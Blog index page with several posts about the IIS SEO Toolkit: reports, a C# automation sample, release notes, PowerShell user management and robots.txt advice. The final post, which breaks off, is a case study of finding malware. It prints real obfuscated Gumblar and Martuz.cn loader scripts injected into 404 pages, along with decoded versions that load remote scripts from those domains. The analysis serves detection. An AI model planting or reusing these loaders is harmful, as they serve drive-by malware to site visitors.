Posts
  • CarlosAg Blog

    IIS SEO Toolkit - New Reports (Redirects and Link Depth)

    • 3 Comments

    In the new version of the IIS SEO Toolkit we added two new reports that are very interesting, both from an SEO perspective as well as from user experience and site organization. These reports are located in the Links category of the reports

    Redirects

    This report shows a summary of all the redirects that were found while crawling the Web site. The first column (Linking-URL) is the URL that was visited that resulted in redirection to the Linked-URL (second column). The third column (Linking-Status code) specifies what type of redirection happened based on the HTTP status code enumeration. The most common values will be MovedPermanently/Moved which is a 301, or Found/Redirect which is a 302. The last column shows the status code for the final URL so you can easily identify redirects that failed or that redirected to another redirect.

    image

    Why should you care

    This report is interesting because Redirects might affect your Search Engine rankings and make your users have the perception that your site is slower. For more information on Redirects see: Redirects, 301, 302 and IIS SEO Toolkit

     

    Link Depth

    This is probably one of my favorite reports since it is almost impossible to find this type of information in any other 'easy' way.

    The report basically tells you how hard it is for users that land in your home page to get to any of the pages in your site. For example in the image below it shows that it takes 5 clicks for a user to get from the home page of my site to the XGrid.htc component.

    image

    This is very valuable information because you will be able to understand how deep your Web site is, in my case if you were to walk the entire site and layout its structure in a hierarchical diagram it would basically be 5 levels deep. Remember, you want your site to be shallow so that its easily discoverable and crawled by Search Engines.

    Even more interesting you can double click any of the results and see the list of clicks that the user has to make it to get to the page.

    image

    Note that it shows the URL, the Title of the page as well as the Text of the Link you need to click to get to the Next URL (the one with a smaller index). So as you can see in my case the user needs to go to the home page, click the link with text "XGrid", which takes it to the /XGrid/ url (index 3) which then needs to click the link with text "This is a new...", etc.

    Note that as you select the URLs in the list it will highlight in the markup the link that takes you to the next URL.

    The data of this report is powered by a new type of query we called Route Query. The reason this is interesting is because you can customize the report to add different filters, or change the start URL, or more.

    For example, lets say I want to figure out all the pages that the user can get to when they land in my site in a specific page, say http://www.carlosag.net/Tools/XGrid/editsample.htm:

    In the Dashboard view of a Report, select the option 'Query->New Routes Query'. This will open a new Query tab where you can specify the Start URL that you are interested.

    image

    As you can see this report clearly shows that if a user visits my site and lands on this page they will basically be blocked and only be able to see 8 pages of the entire site. This is a clear example on where a link to the Home page would be beneficial.

     

    Other common scenarios that this query infrastructure could be used for is to find ways to direct traffic from your most common pages to your conversion pages, this report will let you figure out how difficult or easy it is to get from any page to your conversion pages

  • CarlosAg Blog

    IIS SEO Toolkit - Start new analysis automatically through code

    • 8 Comments

    One question that I've been asked several times is: "Is it possible to schedule the IIS SEO Toolkit to run automatically every night?". Other related questions are: "Can I automate the SEO Toolkit so that as part of my build process I'm able to catch regressions on my application?", or "Can I run it automatically after every check-in to my source control system to ensure no links are broken?", etc.

    The good news is that the answer is YES!. The bad news is that you have to write a bit of code to be able to make it work. Basically the SEO Toolkit includes a Managed code API to be able to start the analysis just like the User Interface does, and you can call it from any application you want using Managed Code.

    In this blog I will show you how to write a simple command application that will start a new analysis against the site provided in the command line argument and process a few queries after finishing.

    IIS SEO Crawling APIs

    The most important type included is a class called WebCrawler. This class takes care of all the process of driving the analysis. The following image shows this class and some of the related classes that you will need to use for this.

    image

    The WebCrawler class is initialized through the configuration specified in the CrawlerSettings. The WebCrawler class also contains two methods Start() and Stop() which starts the crawling process in a set of background threads. With the WebCrawler class you can also gain access to the CrawlerReport through the Report property. The CrawlerReport class represents the results (whether completed or in progress) of the crawling process. It has a method called GetUrls() that returns an instance to all the UrlInfo items. A UrlInfo is the most important class that represents a URL that has been downloaded and processed, it has all the metadata such as Title, Description, ContentLength, ContentType, and the set of Violations and Links that it includes.

    Developing the Sample

    1. Start Visual Studio.
    2. Select the option "File->New Project"
    3. In the "New Project" dialog select the template "Console Application", enter the name "SEORunner" and press OK.
    4. Using the menu "Project->Add Reference" add a reference to the IIS SEO Toolkit Client assembly "c:\Program Files\Reference Assemblies\Microsoft\IIS\Microsoft.Web.Management.SEO.Client.dll".
    5. Replace the code in the file Program.cs with the code shown below.
    6. Build the Solution
    using System;
    using System.IO;
    using System.Linq;
    using System.Net;
    using System.Threading;
    using Microsoft.Web.Management.SEO.Crawler;

    namespace SEORunner {
       
    class Program {

           
    static void Main(string[] args) {

               
    if (args.Length != 1) {
                   
    Console.WriteLine("Please specify the URL.");
                   
    return;
               
    }

               
    // Create a URI class
                Uri startUrl = new Uri(args[0]);

               
    // Run the analysis
                CrawlerReport report = RunAnalysis(startUrl);

               
    // Run a few queries...
                LogSummary(report);

               
    LogStatusCodeSummary(report);

               
    LogBrokenLinks(report);
           
    }

           
    private static CrawlerReport RunAnalysis(Uri startUrl) {
               
    CrawlerSettings settings = new CrawlerSettings(startUrl);
               
    settings.ExternalLinkCriteria = ExternalLinkCriteria.SameFolderAndDeeper;
               
    // Generate a unique name
                settings.Name = startUrl.Host + " " + DateTime.Now.ToString("yy-MM-dd hh-mm-ss");

               
    // Use the same directory as the default used by the UI
                string path = Path.Combine(
                   
    Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments),
                    "IIS SEO Reports"
    );

               
    settings.DirectoryCache = Path.Combine(path, settings.Name);

               
    // Create a new crawler and start running
                WebCrawler crawler = new WebCrawler(settings);
               
    crawler.Start();

               
    Console.WriteLine("Processed - Remaining - Download Size");
               
    while (crawler.IsRunning) {
                   
    Thread.Sleep(1000);
                   
    Console.WriteLine("{0,9:N0} - {1,9:N0} - {2,9:N2} MB",
                       
    crawler.Report.GetUrlCount(),
                       
    crawler.RemainingUrls,
                       
    crawler.BytesDownloaded / 1048576.0f);
               
    }

               
    // Save the report
                crawler.Report.Save(path);

               
    Console.WriteLine("Crawling complete!!!");

               
    return crawler.Report;
           
    }

           
    private static void LogSummary(CrawlerReport report) {
               
    Console.WriteLine();
               
    Console.WriteLine("----------------------------");
               
    Console.WriteLine(" Overview");
               
    Console.WriteLine("----------------------------");
               
    Console.WriteLine("Start URL:  {0}", report.Settings.StartUrl);
               
    Console.WriteLine("Start Time: {0}", report.Settings.StartTime);
               
    Console.WriteLine("End Time:   {0}", report.Settings.EndTime);
               
    Console.WriteLine("URLs:       {0}", report.GetUrlCount());
               
    Console.WriteLine("Links:      {0}", report.Settings.LinkCount);
               
    Console.WriteLine("Violations: {0}", report.Settings.ViolationCount);
           
    }

           
    private static void LogBrokenLinks(CrawlerReport report) {
               
    Console.WriteLine();
               
    Console.WriteLine("----------------------------");
               
    Console.WriteLine(" Broken links");
               
    Console.WriteLine("----------------------------");
               
    foreach (var item in from url in report.GetUrls()
                                    
    where url.StatusCode == HttpStatusCode.NotFound &&
                                          
    !url.IsExternal
                                    
    orderby url.Url.AbsoluteUri ascending
                                    
    select url) {
                   
    Console.WriteLine(item.Url.AbsoluteUri);
               
    }
           
    }

           
    private static void LogStatusCodeSummary(CrawlerReport report) {
               
    Console.WriteLine();
               
    Console.WriteLine("----------------------------");
               
    Console.WriteLine(" Status Code summary");
               
    Console.WriteLine("----------------------------");
               
    foreach (var item in from url in report.GetUrls()
                                    
    group url by url.StatusCode into g
                                    
    orderby g.Key
                                    
    select g) {
                   
    Console.WriteLine("{0,20} - {1,5:N0}", item.Key, item.Count());
               
    }
           
    }
       
    }
    }

     

    If you are not using Visual Studio, you can just save the contents above in a file, call it SEORunner.cs and compile it using the command line:

    C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /r:"c:\Program Files\Reference Assemblies\Microsoft\IIS\Microsoft.Web.Management.SEO.Client.dll" /optimize+ SEORunner.cs

     

    After that you should be able to run SEORunner.exe and pass the URL of your site as a argument, you will see an output like:

    Processed - Remaining - Download Size
           56 -       149 -      0.93 MB
          127 -       160 -      2.26 MB
          185 -       108 -      3.24 MB
          228 -        72 -      4.16 MB
          254 -        48 -      4.98 MB
          277 -        36 -      5.36 MB
          295 -        52 -      6.57 MB
          323 -        25 -      7.53 MB
          340 -         9 -      8.05 MB
          358 -         1 -      8.62 MB
          362 -         0 -      8.81 MB
    Crawling complete!!!
    
    ----------------------------
     Overview
    ----------------------------
    Start URL:  http://www.carlosag.net/
    Start Time: 11/16/2009 12:16:04 AM
    End Time:   11/16/2009 12:16:15 AM
    URLs:       362
    Links:      3463
    Violations: 838
    
    ----------------------------
     Status Code summary
    ----------------------------
                      OK -   319
        MovedPermanently -    17
                   Found -    23
                NotFound -     2
     InternalServerError -     1
    
    ----------------------------
     Broken links
    ----------------------------
    http://www.carlosag.net/downloads/ExcelSamples.zip

     

    The most interesting method above is RunAnalysis, it creates a new instance of the CrawlerSettings and specifies the start URL. Note that it also specifies that we should consider internal all the pages that are hosted in the same directory or subdirectories. We also set the a unique name for the report and use the same directory as the IIS SEO UI uses so that opening IIS Manager will show the reports just as if they were generated by it. Then we finally call Start() which will start the number of worker threads specified in the WebCrawler::WorkerCount property. We finally just wait for the WebCrawler to be done by querying the IsRunning property.

    The remaining methods just leverage LINQ to perform a few queries to output things like a report aggregating all the URLs processed by Status code and more.

    Summary

    As you can see the IIS SEO Toolkit crawling APIs allow you to easily write your own application to start the analysis against your Web site which can be easily integrated with the Windows Task Scheduler or your own scripts or build system to easily allow for continuous integration.

    Once the report is saved locally it can then be opened using IIS Manager and continue further analysis as with any other report. This sample console application can be scheduled using the Windows Task Scheduler so that it can run every night or at any time. Note that you could also write a few lines of PowerShell to automate it without the need of writing C# code and do that by only command line, but that is left for another post.

  • CarlosAg Blog

    Announcing: IIS SEO Toolkit v1.0 release

    • 3 Comments

    Today we are announcing the final release of the IIS Search Engine Optimization (SEO) Toolkit v1.0. This version builds upon the Beta 1 and Beta 2 versions and is 100% compatible with those versions so any report you currently have continues to work in the new version. The new version includes a set of bug fixes and new features such as:

    1. Extensibility. In this version we are opening a new set of API's to allow you to develop extensions for the crawling process, including the ability to augment the metadata in the report with your own, extend the set of tasks provided in the Site Analysis and Sitemaps User Interface and more. More on this on a upcoming post.
    2. New Reports. Based on feedback we added a Redirects summary report in the Links section as well as a new Link Depth report that allows you to easily know which pages are the "most hidden pages" in your site, or in other words if a user landed at your sites home page, "how many clicks does he need to do to reach a particular page".
    3. New Routes Query. We added a new type of Query called Routes. This is the underlying data that powers the "Link Depth" report mentioned above, however it is also exposed as a new query type so that you can create your own queries to customize the Start page and any other kind of things, like filtering, grouping, etc.
    4. New option to opt-out from keeping a local cache of files. We added a new switch in the "Advanced Settings" of the New Analysis dialog to disable the option of keeping the files stored locally. This allows you to run a report which runs faster and that consumes a lot less disk space than when keeping the files cached. The only side effect is that you will not be able to get the "Content" tab and the contextual position of the links as well as the Word Analysis feature. Everything else continues to work just as any other report.
    5. HTML Metadata is now stored in the Report. By leveraging the Extensibility mentioned in bullet 1, the HTML parser now stores all the HTML META tags content so that you can later use them to write your own queries, whether to filter, group data or just export it, this gives you a very interesting set of options if you have any metadata like Author, or any custom.
    6. Several Bug Fixes:
      1. Internal URLs linked by External URLs now are also included in the crawling process.
      2. Groupings in queries should be case sensitive
      3. Show contextual information (link position) in Routes
      4. The Duplicate detection logic should only include valid responses (do not include 404 NOT Found, 401, etc)
      5. Canonical URLs should support sub-domains.
      6. Several Accessibility fixes. (High DPI, Truncation in small resolutions, Hotkeys, Keyboard navigation, etc).
      7. Several fixes for Right-To-Left languages. (Layout and UI)
      8. Help shortcuts enabled.
      9. New Context Menus for Copying content
      10. Add link position information for Canonical URLs
      11. Remove x-javascript validation for this release
      12. Robots algorithm should be case sensitive
      13. many more

    This version can upgrade both Beta 1 and Beta 2 version so go ahead and try it and PLEASE provide us with feedback and any additional things you would like to see for the next version at the SEO Forum in the IIS Web site.

    Click here to install the IIS SEO Toolkit.

  • CarlosAg Blog

    IIS SEO Toolkit Presentation at DevConnections

    • 0 Comments

    Yesterday I presented the session "AMS04: Boost Your Site’s Search Ranking with the IIS Search Engine Optimization Toolkit" at the ASP.NET Connections, it was fun to talk to a few attendees that had several questions around the tool and SEO in general. It is always really interesting learning about all the unique environments and types of applications that are being built and how the SEO Toolkit can help them.

    Here are the IIS SEO Toolkit slides that I used.

    Here you can find the IIS SEO Toolkit download.

    And by far the easiest way to get it installed is using the Microsoft Web Platform Installer.

    Please send any question and feedback at IIS SEO Toolkit Forums.

    And by the way, stay tuned for the RTW version of IIS SEO Toolkit coming SOON.

  • CarlosAg Blog

    IIS SEO Toolkit – Report Comparison

    • 0 Comments

    One of my favorites features in the IIS Search Engine Optimization (SEO) Toolkit is what we called Report Comparison. Report Comparison basically allows you to compare two different versions of the results of crawling the same site to see what changed in between. This is a really convenient way to track not only changes in terms of SEO violations but also to be able to compare any attributes on the pages such as Title, Heading, Description, Links, Violations, etc.

    How to access the feature

    There are a couple of ways to get to this feature.

    1) Use the Compare Reports task. While in the Site Analysis Reports listing you can select two reports by using Ctrl+Click, and if both reports are compatible (e.g. they use the same Start URL) the task "Compare Reports" will be shown. Just clicking on that will get you the comparison.

    CompareReportsTask

    2) Use the Compare to another report menu item. While in the Dashboard view of a Report you can use the "Report->Compare To Another Report" menu item which will show a dialog where you can either select an existing report or even start a new analysis to compare with.

    CompareReportsMenu

    Report Comparison Page

    In both cases you will get the Report Comparison Page displaying the results as shown in the next image.

    CompareResults

    The Report Comparison page includes a couple of "sections" with data. At the very top it includes links showing the Name and the Date when the reports were ran. If you click on them it will open the report directly just as if you had used the Site Analysis report listing view.

    The next sections shows a lot of interesting built-in data such as:

    Total # of URLs This basically shows the total # of URLs found in both versions. When clicking the link you will get the listing of URLs based on the version of the report you choose.
    New and Removed These are the number of new URLs that were either added in the new version or removed from the old version.
    When clicking the added link you will get the listing of URLs based on the new version of the report and if you click the removed link you will get the listing based on the old URLs.
    Changed and Unchanged These are the number of URLs that were modified or not modified. These are calculated by comparing the hashes of the files in both versions.
    When clicking the links you will get a query that displays a comparison of both versions of URLs showing their content length. (See below)
    Total # of Violations This shows the total # of violations found in both versions.
    New in existing pages and Fixed in existing pages These are the number of violations introduced or removed on URLs that exist in both reports.
    When clicking the added link you will get the listing of violations based on the new version of the report and if you click the removed link you will get the listing based on the old violations.
    Introduced in new pages These are the number of violations introduced on URLs that are found only in the new report.
    When clicking the added link you will get the listing of violations based on the new version of the report.
    Fixed by page removal These are the number of violations that were removed due to the fact that their URLs were no longer found in the new report.
    When clicking the added link you will get the listing of violations based on the old version of the report.
    Others There are a number of additional reports which basically compare different attributes in URLs that are found in both reports. They compare things like Time Taken, Content Length, Status Code and # of Links.
    When clicking the links you will get the query that displays a comparison of both versions of the reports showing the relevant fields. (See below)

    Whenever you click the links you get a query dialog that you can customize just as any Query in the Query builder, where you can Add/Remove columns, add filters, etc.

    My favorite one is the "Modified URLs" source when you actually can add filters that compare URLs coming from the two different reports.

    QueryDialog

    Note that when you double click or "right-click –> Compare Details" any of the rows you get a side-by-side comparison of everything in the URL:

    SideBySideDialog

    Again, you can use any of the tabs to see side-by-side things like the Content of the pages or the Links both versions have or the violations, or pretty much everything that you can see for just one.

    SideBySideDialog2

    Finally, you can also right click on the Query dialog and choose "Compare Contents". This will launch whatever File Comparison tool you have configured using the "Edit Feature Settings". In this case I have configured WinDiff.exe which shows something like:

    SideBySideContents

    Summary

    As you can see Report Comparison offers is a powerful feature that allows you to keep track of changes between two different reports. This easily allows you to understand over time how your site has been affected by changes. For Site managers it will allow them to query and maintain a history with all the changes. You can imagine that using an automated build process that runs IIS SEO Toolkit crawling whenever a build is made that keeps the report stored somewhere and potentially annotate it with the build number you could even keep a correlation of changes in code with Web site crawling.

  • CarlosAg Blog

    Presenting at ASP.NET Connections in Las Vegas

    • 0 Comments

    Next week I will be presenting at the ASP.NET Connections event in Las Vegas the following topics:

    1. AMS04: Boost Your Site’s Search Ranking with the IIS Search Engine Optimization Toolkit: Search engines are just robots, and you have to play by their rules if you want to see your site in the top search results. In this session, you will learn how to leverage the IIS Search Engine Optimizer and other tools to improve your Web site for search engine and user traffic. You will leave this session with a set of tips and tricks that will boost the search rank, performance and consistency of your Web site. Tuesday 10:00 am.
    2. AMS10: Developing and Deploying for the Windows Web App Gallery: Come hear how the Microsoft Web Platform fosters a powerful development ecosystem for Web applications, and how the latest wave of IIS extensions enable Web applications to move seamlessly from a development environment to a production datacenter. You will also learn how to package a Web application for the Windows Web App Gallery to make it available to millions of users. Thursday 8:15 am.

    I will also be participating in a session called: "Q&A session with Scott Guthrie and the ASP.NET and VWD teams at DevConnections" on Wednesday.

    It should be fun. If you are around stop by the Microsoft Web Platform booth where I will be hanging around the rest of the time trying to answer any questions and getting a chance to learn more about how you use IIS or any problems you might be facing.

  • CarlosAg Blog

    Adding IIS Manager Users and Permissions using PowerShell

    • 2 Comments

    Today somebody ask in the IIS.net Forums how could they automate the process of adding IIS Manager Users and their Permissions using a script or a command line and I thought it would be useful to post something that hopefully will be easy to find and refer to.

    One way they found to do it through configuration however they were not getting the password encrypted.

    The first thing that I would like to highlight is that the password is not encrypted, it is actually stored as a hash which means just entering the password in clear text will not work the only way it will work is if  you calculate the same hash our current implementation does.

    Having said that manually adding the users is also not a good idea since the IIS Manager functionality is extensible and its storage can be replaced to store the users in SQL Server or any other backend. Our built-in implementation stores them in Administration.config but at any given time someone could have a different provider which means your code will not work either.

    So then what is the right way? Well the right way is using existing API’s we surface in Microsoft.Web.Management.dll, in particular Microsoft.Web.Management.Server.ManagementAuthentication and Microsoft.Web.Management.ManagementAuthorization. Using these API’s will make sure that it will call the right provider and pass the correct arguments ensuring that you do not have to implement or know any details about their implementation.

    These types are really easy to consume from managed code but it does mean you have to write code for it. However the good news is that through PowerShell this gets as simple as it can possibly get.

    So just launch PowerShell (make sure its in elevated as an administrator)

    Here is how you add a user and grant him access for Default Web Site:

    [System.Reflection.Assembly]::LoadWithPartialName("Microsoft.Web.Management") 
    [Microsoft.Web.Management.Server.ManagementAuthentication]::CreateUser("MyUser", "ThePassword")
    [Microsoft.Web.Management.Server.ManagementAuthorization]::Grant("MyUser", "Default Web Site", $FALSE)
  • CarlosAg Blog

    IIS Search Engine Optimization (SEO) Toolkit – Announcing Beta 2

    • 1 Comments

    Yesterday we released the Beta 2 version of the IIS Search Engine Optimization (SEO) Toolkit. This version builds upon Beta 1 adding a set of new features and several bug fixes reported through the SEO forum:

    1. Report Comparison. Now you have the ability to compare two reports and track a lot of different metrics that changed in between such as New and Removed URLs, Changed and Unchanged URLs, Violations Fixed and new Violations introduced. You can also compare side-by-side the details as well as the contents to see exactly what changed both in markup, headers, or anywhere. This feature will allow you to easily keep track of changes on your Web site. More on this feature in a future blog.
    2. Authentication Support. Now you can crawl Web sites that have secured content through both Basic and Windows Authentication. This was a feature required to be able to crawl Intranet sites as well as certain staging environments that are protected by credentials.
    3. Extensibility.
      1. Developers can now extend the crawling process by providing custom modules that can parse new content types or add new violations.
      2. Developers can also provide additional set of tasks for the User Interface to expose additional features in the Site Analyzer UI as well as the Sitemaps UI.
    4. Canonical Link Support. The crawler now understands Canonical Links (rel="canonical") and contains a new set of violations to detect 5 common mistakes such as invalid use, incorrect domains, etc. The User Interface has also been extended to leverage this concept, so you can generate queries using the "Canonical URL" field, and the Sitemaps User Interface has been extended to filter in a better way those URLs that are not Canonical. For more information on canonical links see: http://www.bing.com/community/blogs/webmaster/archive/2009/02/12/partnering-to-help-solve-duplicate-content-issues.aspx
    5. Export. Now there are three new menu items to "Export all Violations", "Export all URLs" and "Export all Links". They get saved in a CSV (comma-separated-value) format that can easily be opened with Excel or any other Spreadsheet program (or even notepad). Log Parser is another tool that can be used to issue SQL queries to it.
    6. Open Source Files and Directories. To facilitate the fixing of violations now when you crawl the content locally you will get a context menu to open the file or the directory where it is contained in the pre-configured editor with a single click.
    7. Usability feedback. We did tons of changes in the User interface to try to simplify workflows and discovery of features based on usability feedback we had.
      1. Now we have a Start Menu Program to open the feature directly (IIS Search Engine Optimization (SEO) Toolkit).
      2. New Search Engine Optimization Page. Now all the features are surfaced directly from a single page as well as common tasks and the most recently used content within them so that with a single click you get into what you need.
      3. Query Builder updates, better UI for aggregation, auto-suggest for some fields, and better/cleaner display in general.
      4. Automatically start common tasks as part of a workflow.
      5. Less use of Tabs. We learned users felt uncomfortable getting multiple Tabs opened such as when "drilling-down" from a Violations query to see the details. In this version the "drilling-down" happens on a popup dialog to facilitate navigation and preserve context on where you were before. We also kept the option to open them in Tabs by using the "Open Group in New Query" context menu option for those that actually liked that.
      6. Added a new Violations Tag in the details dialog to facilitate fixing page-by-page from the Details Dialog.
      7. New grouping by start time in the reports page.
      8. Many more…
    8. Many bug fixes such as Fixes for CSS parsing (Comments, URL detection, etc), URL Resolution for relative URLs, Remove noise for violations in redirects, better parsing of CSS styles inside HTML, Fixes for HTML to Text conversion, better handling of storage of cached files, fixed format for dates in sitemaps, better bi-directional rendering and Right-to-Left, etc.
    9. Flag status codes 400-600 as broken links.
    10. Robots now can open the robots.txt file and fixed a couple of processing issues.
    11. Sitemaps has better filtering and handling of canonical URLs
    12. Many more

    This version can upgrade Beta 1 version and is fully compatible (i.e. your reports continue to work with the new version) so go ahead and try it and PLEASE provide us with feedback at the SEO Forum in the IIS Web site.

    Click here to install the IIS SEO Toolkit.

  • CarlosAg Blog

    SEO Tip - Beware of the Login pages - add them to Robots Exclusion

    • 5 Comments

    A lot of sites today have the ability for users to sign in to show them some sort of personalized content, whether its a forum, a news reader, or some e-commerce application. To simplify their users life they usually want to give them the ability to log on from any page of the Site they are currently looking at. Similarly, in an effort to keep a simple navigation for users Web Sites usually generate dynamic links to have a way to go back to the page where they were before visiting the login page, something like: <a href="/login?returnUrl=/currentUrl">Sign in</a>.

    If your site has a login page you should definitely consider adding it to the Robots Exclusion list since that is a good example of the things you do not want a search engine crawler to spend their time on. Remember you have a limited amount of time and you really want them to focus on what is important in your site.

    Out of curiosity I searched for login.php and login.aspx and found over 14 million login pages… that is a lot of useless content in a search engine.

    Another big reason is because having this kind of URL's that vary depending on each page means there will be hundreds of variations that crawlers will need to follow, like /login?returnUrl=page1.htm, /login?returnUrl=page2.htm, etc, so it basically means you just increased the work for the crawler by two-fold. And even worst, in some cases if you are not careful you can easily cause an infinite loop for them when you add the same "login-link" in the actual login page since you get /login?returnUrl=login as the link and then when you click that you get /login?returnUrl=login?returnUrl=login... and so on with an ever changing URL for each page on your site. Note that this is not hypothetical this is actually a real example from a few famous Web sites (which I will not disclose). Of course crawlers will not infinitely crawl your Web site and they are not that silly and will stop after looking at the same resource /login for a few hundred times, but this means you are just reducing the time of them looking at what really matters to your users.

    IIS SEO Toolkit

    If you use the IIS SEO Toolkit it will detect the condition when the same resource (like login.aspx) is being used too many times (and only varying the Query String) and will give you a violation error like: Resource is used too many times.

     

    So how do I fix this?

    There are a few fixes, but by far the best thing to do is just add the login page to the Robots Exclusion protocol.

    1. Add the URL to the /robots.txt, you can use the IIS Search Engine Optimization Toolkit to edit the robots file, or just drop a file with something like:
      User-agent: *
      Disallow: /login
    2. Alternatively (or additionally)  you can add a rel attribute with the nofollow value to tell them not to even try. Something like:
      <a href="/login?returnUrl=page" rel="nofollow">Log in</a>
    3. Finally make sure to use the Site Analysis feature in the IIS SEO Toolkit to make sure you don't have this kind of behavior. It will automatically flag a violation when it identifies that the same "page" (with different Query String) has already been visited over 500 times.

    Summary

    To summarize always add the login page to the robots exclusion protocol file, otherwise you will end up:

    1. sacrificing valuable "search engine crawling time" in your site.
    2. spending unnecessary bandwidth and server resources.
    3. potentially even blocking crawlsers from your content.
  • CarlosAg Blog

    Finding malware in your Web Site using IIS SEO Toolkit

    • 3 Comments

    The other day a friend of mine who owns a Web site asked me to look at his Web site to see if I could spot anything weird since according to his Web Hosting provider it was being flagged as malware infected by Google.

    My friend (who is not technical at all) talked to his Web site designer and mentioned the problem. He downloaded the HTML pages and tried looking for anything suspicious on them, however he was not able to find anything. My friend then went back to his Hosting provider and mentioned the fact that they were not able to find anything problematic and that if it could be something with the server configuration, to which they replied in a sarcastic way that it was probably ignorance on his Web site designer.

    Enter IIS SEO Toolkit

    So of course I decided the first thing I would do is to start by crawling the Web site using Site Analysis in IIS SEO Toolkit. This gave me a list of the pages and resources that his Web site would have. First thing I knew is usually malware hides either in executables or scripts on the server, so I started looking for the different content types shown in the "Content Types Summary" inside the Content reports in the dashboard page.

    img01

    I was surprised to no found a single executable and to only see two very simple javascripts which looked not like malware in any way. So based on previous knowledge I knew that malware in HTML pages usually is hidden behind a funky looking script that is encoded and usually uses the eval function to run the code. So I quickly did a query for those HTML pages which contain the word eval and contain the word unescape. I know there are valid scripts that could include those features since they exist for a reason but it was a good way to get scoping the pages.

    Gumblar and Martuz.cn Malware on sight

    img02

    After running the query as shown above, I got a set of HTML files which all gave a status code 404 – NOT FOUND. Double clicking in any of them and looking at the HTML markup content made it immediately obvious they were malware infected, look at the following markup:

    <HTML>
    <HEAD>
    <TITLE>404 Not Found</TITLE>
    </HEAD>
    <script language=javascript><!-- 
    (function(AO9h){var x752='%';var qAxG='va"72"20a"3d"22Scr"69pt"45ng"69ne"22"2cb"3d"22Version("29"2b"22"2c"6a"3d"22"22"2cu"3dnav"69g"61"74or"2e"75ser"41gent"3bif((u"2e"69ndexO"66"28"22Win"22)"3e0)"26"26(u"2eindexOf("22NT"206"22"29"3c0)"26"26(document"2e"63o"6fkie"2ei"6e"64exOf("22mi"65"6b"3d1"22)"3c0)"26"26"28typ"65"6ff"28"7arv"7a"74"73"29"21"3dty"70e"6f"66"28"22A"22))"29"7b"7arvzts"3d"22A"22"3be"76a"6c("22i"66(wi"6edow"2e"22+a"2b"22)j"3d"6a+"22+a+"22Major"22+b+a"2b"22M"69no"72"22"2bb+a+"22"42"75"69ld"22+b+"22"6a"3b"22)"3bdocume"6e"74"2ewrite"28"22"3cs"63"72ipt"20"73rc"3d"2f"2fgum"62la"72"2ecn"2f"72ss"2f"3fid"3d"22+j+"22"3e"3c"5c"2fsc"72ipt"3e"22)"3b"7d';var Fda=unescape(qAxG.replace(AO9h,x752));eval(Fda)})(/"/g);
    -->
    </script><script language=javascript><!-- 
    (function(rSf93){var SKrkj='%';var METKG=unescape(('var~20~61~3d~22S~63~72i~70~74Engine~22~2cb~3d~22Version()+~22~2cj~3d~22~22~2c~75~3dn~61v~69ga~74o~72~2e~75se~72Agen~74~3b~69f(~28u~2eind~65~78~4ff(~22Chro~6d~65~22~29~3c~30)~26~26(~75~2e~69ndexOf(~22Wi~6e~22)~3e0)~26~26(u~2e~69ndexOf(~22~4eT~206~22~29~3c0~29~26~26(doc~75~6dent~2ecook~69e~2ein~64exOf(~22miek~3d1~22)~3c~30)~26~26~28typeof(zrv~7at~73)~21~3dtyp~65~6ff(~22A~22~29))~7bzrv~7at~73~3d~22~41~22~3b~65~76al(~22i~66(w~69ndow~2e~22+a+~22)~6a~3dj+~22+~61+~22M~61jor~22+b~2b~61+~22~4dinor~22+~62+a~2b~22B~75ild~22~2bb+~22j~3b~22)~3bdocu~6d~65n~74~2e~77rit~65(~22~3cs~63r~69pt~20src~3d~2f~2f~6dar~22~2b~22tuz~2ec~6e~2f~76~69d~2f~3f~69d~3d~22+j+~22~3e~3c~5c~2fscr~69pt~3e~22)~3b~7d').replace(rSf93,SKrkj));eval(METKG)})(/\~/g);
     
    --></script><BODY>
    <H1>Not Found</H1>
    The requested document was not found on this server.
    <P>
    <HR>
    <ADDRESS>
    Web Server at **********
    </ADDRESS>
    </BODY>
    </HTML>

    Notice those two ugly scripts that seem to be just a random set of numbers, quotes and letters? I do not believe I've ever met a developer that writes code like that in real web applications.

    For those of you like me that do not particularly enjoy reading encoded Javascript what these two scripts do is just unescape the funky looking string and then execute it. I have un-encoded the script that would get executed and showed it below just to show case how this malware works. Note how they special case a couple browsers including Chrome to request then a particular script that will cause the real damage.

    var a = "ScriptEngine", 
       
    b = "Version()+", 
       
    j = "", 
       
    u = navigator.userAgent; 
    if ((u.indexOf("Win") > 0) && (u.indexOf("NT 6") < 0) && (document.cookie.indexOf("miek=1") < 0) && (typeof (zrvzts) != typeof ("A"))) { 
       
    zrvzts = "A"; 
       
    eval("if(window." + a + ")j=j+" + a + "Major" + b + a + "Minor" + b + a + "Build" + b + "j;"); 
       
    document.write("<script src=//gumblar.cn/rss/?id=" + j + "><\/script>"); 
    }

    And:

    var a="ScriptEngine",
       
    b="Version()+",
       
    j="",u=navigator.userAgent;
    if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){
       
    zrvzts="A";
       
    eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("<script src=//martuz.cn/vid/?id="+j+"><\/script>");
    }

    Notice how both of them end up writing the actual malware script living in martuz.cn and gumblar.cn.

    Final data

    Now, this clearly means they are infected with malware, and it clearly seems that the problem is not in the Web Application but the infection is in the Error Pages that are being served from the Server when an error happens. Next step to be able to guide them with more specifics I needed to determine the Web server that they were using, to do that it is as easy as just inspecting the headers in the IIS SEO Toolkit which displayed something like the ones shown below:

    Accept-Ranges: bytes
    Content-Length: 2570
    Content-Type: text/html
    Date: Sat, 20 Jun 2009 01:16:23 GMT
    Last-Modified: Sun, 17 May 2009 06:43:38 GMT
    Server: Apache/2.2.3 (Debian) mod_jk/1.2.18 PHP/5.2.0-8+etch15 mod_ssl/2.2.3 OpenSSL/0.9.8c mod_perl/2.0.2 Perl/v5.8.8

    With a big disclaimer that I know nothing about Apache, I then guided them to their .htaccess file and the httpd.conf file for ErrorDocument and that would show them which files were infected and if it was a problem in their application or the server.

    Case Closed

    Turns out that after they went back to their Hoster with all this evidence, they finally realized that their server was infected and were able to clean up the malware. IIS SEO Toolkit helped me quickly identify this based on the fact that is able to see the Web site with the same eyes as a Search Engine would, following every link and letting me perform easy queries to find information about it. In future versions of IIS SEO Toolkit you can expect to be able to find this kind of things in a lot simpler ways, but for Beta 1 for those who cares here is the query that you can save in an XML file and use "Open Query" to see if you are infected with these malware.

    <?xml version="1.0" encoding="utf-8"?>
    <query dataSource="urls">
